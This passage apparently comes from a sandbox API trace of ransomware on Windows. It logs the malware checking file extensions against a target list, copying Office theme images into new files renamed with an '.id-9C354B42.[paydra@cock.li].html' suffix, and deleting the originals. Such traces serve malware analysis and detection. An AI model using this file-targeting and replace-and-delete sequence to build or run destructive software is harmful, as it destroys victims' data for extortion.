(lpString1=".rar", lpString2=".GIF") returned 1 [0047.289] lstrlenW (lpString=".bz2") returned 4 [0047.290] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.290] lstrlenW (lpString=".7z") returned 3 [0047.290] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString=".dbf") returned 4 [0047.290] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString=".1cd") returned 4 [0047.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString=".jpg") returned 4 [0047.290] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString=".doc") returned 4 [0047.290] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.290] lstrlenW (lpString=".docx") returned 5 [0047.290] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.290] lstrlenW (lpString=".pdf") returned 4 [0047.290] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString=".xls") returned 4 [0047.290] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString=".xlsx") returned 5 [0047.290] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.290] lstrlenW (lpString=".ppt") returned 4 [0047.290] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.290] lstrlenW (lpString=".zip") returned 4 [0047.290] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString=".rar") returned 4 [0047.290] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.290] lstrlenW (lpString=".bz2") returned 4 [0047.290] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.291] lstrlenW (lpString=".7z") returned 3 [0047.291] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.291] lstrlenW (lpString=".dbf") returned 4 [0047.291] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.291] lstrlenW (lpString=".1cd") returned 4 [0047.291] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.291] lstrlenW (lpString=".jpg") returned 4 [0047.291] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.291] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0047.291] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.291] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=18380) returned 1 [0047.291] CloseHandle (hObject=0x228) returned 1 [0047.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0047.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.292] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.292] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.292] GetLastError () returned 0x0 [0047.292] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0047.295] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0047.296] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.296] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.297] SetEndOfFile (hFile=0x180) returned 1 [0047.297] CloseHandle (hObject=0x180) returned 1 [0047.297] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.297] SetEndOfFile (hFile=0x228) returned 1 [0047.298] CloseHandle (hObject=0x228) returned 1 [0047.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.298] lstrlenW (lpString=".doc") returned 4 [0047.298] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.298] lstrlenW (lpString=".docx") returned 5 [0047.298] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.298] lstrlenW (lpString=".pdf") returned 4 [0047.298] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.298] lstrlenW (lpString=".xls") returned 4 [0047.298] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.298] lstrlenW (lpString=".xlsx") returned 5 [0047.298] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.298] lstrlenW (lpString=".ppt") returned 4 [0047.298] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.298] lstrlenW (lpString=".zip") returned 4 [0047.298] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.299] lstrlenW (lpString=".rar") returned 4 [0047.346] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.346] lstrlenW (lpString=".bz2") returned 4 [0047.346] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString=".7z") returned 3 [0047.346] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.346] lstrlenW (lpString=".dbf") returned 4 [0047.346] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.346] lstrlenW (lpString=".1cd") returned 4 [0047.346] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.346] lstrlenW (lpString=".jpg") returned 4 [0047.346] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.346] lstrlenW (lpString=".doc") returned 4 [0047.346] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString=".docx") returned 5 [0047.346] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.346] lstrlenW (lpString=".pdf") returned 4 [0047.346] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.346] lstrlenW (lpString=".xls") returned 4 [0047.347] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.347] lstrlenW (lpString=".xlsx") returned 5 [0047.347] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.347] lstrlenW (lpString=".ppt") returned 4 [0047.347] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.347] lstrlenW (lpString=".zip") returned 4 [0047.347] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.347] lstrlenW (lpString=".rar") returned 4 [0047.347] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.347] lstrlenW (lpString=".bz2") returned 4 [0047.347] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.347] lstrlenW (lpString=".7z") returned 3 [0047.347] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.347] lstrlenW (lpString=".dbf") returned 4 [0047.347] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.347] lstrlenW (lpString=".1cd") returned 4 [0047.347] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0047.347] lstrlenW (lpString=".jpg") returned 4 [0047.347] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.347] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0047.347] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.348] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4991) returned 1 [0047.348] CloseHandle (hObject=0x228) returned 1 [0047.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0047.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.348] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.348] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.350] GetLastError () returned 0x0 [0047.350] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x137f, lpOverlapped=0x0) returned 1 [0047.352] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0047.353] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.353] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.353] SetEndOfFile (hFile=0x180) returned 1 [0047.353] CloseHandle (hObject=0x180) returned 1 [0047.353] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.353] SetEndOfFile (hFile=0x228) returned 1 [0047.354] CloseHandle (hObject=0x228) returned 1 [0047.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.354] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0047.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.354] lstrlenW (lpString=".doc") returned 4 [0047.354] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.354] lstrlenW (lpString=".docx") returned 5 [0047.354] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.354] lstrlenW (lpString=".pdf") returned 4 [0047.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString=".xls") returned 4 [0047.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString=".xlsx") returned 5 [0047.355] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.355] lstrlenW (lpString=".ppt") returned 4 [0047.355] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString=".zip") returned 4 [0047.355] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString=".rar") returned 4 [0047.355] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString=".bz2") returned 4 [0047.355] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.355] lstrlenW (lpString=".7z") returned 3 [0047.355] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString=".dbf") returned 4 [0047.355] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString=".1cd") returned 4 [0047.355] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString=".jpg") returned 4 [0047.355] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.355] lstrlenW (lpString=".doc") returned 4 [0047.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.355] lstrlenW (lpString=".docx") returned 5 [0047.355] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.355] lstrlenW (lpString=".pdf") returned 4 [0047.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.355] lstrlenW (lpString=".xls") returned 4 [0047.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.356] lstrlenW (lpString=".xlsx") returned 5 [0047.356] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.356] lstrlenW (lpString=".ppt") returned 4 [0047.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.356] lstrlenW (lpString=".zip") returned 4 [0047.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.356] lstrlenW (lpString=".rar") returned 4 [0047.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.356] lstrlenW (lpString=".bz2") returned 4 [0047.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.356] lstrlenW (lpString=".7z") returned 3 [0047.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.356] lstrlenW (lpString=".dbf") returned 4 [0047.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.356] lstrlenW (lpString=".1cd") returned 4 [0047.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0047.356] lstrlenW (lpString=".jpg") returned 4 [0047.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.356] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0047.356] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.357] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=44302) returned 1 [0047.357] CloseHandle (hObject=0x228) returned 1 [0047.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0047.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.357] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.357] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.357] GetLastError () returned 0x0 [0047.357] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0047.735] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0047.736] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.736] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.736] SetEndOfFile (hFile=0x180) returned 1 [0047.736] CloseHandle (hObject=0x180) returned 1 [0047.737] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.737] SetEndOfFile (hFile=0x228) returned 1 [0047.737] CloseHandle (hObject=0x228) returned 1 [0047.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.738] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0047.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.738] lstrlenW (lpString=".doc") returned 4 [0047.738] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.738] lstrlenW (lpString=".docx") returned 5 [0047.738] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.738] lstrlenW (lpString=".pdf") returned 4 [0047.738] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.738] lstrlenW (lpString=".xls") returned 4 [0047.738] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.738] lstrlenW (lpString=".xlsx") returned 5 [0047.738] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.738] lstrlenW (lpString=".ppt") returned 4 [0047.738] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.738] lstrlenW (lpString=".zip") returned 4 [0047.738] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.738] lstrlenW (lpString=".rar") returned 4 [0047.738] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 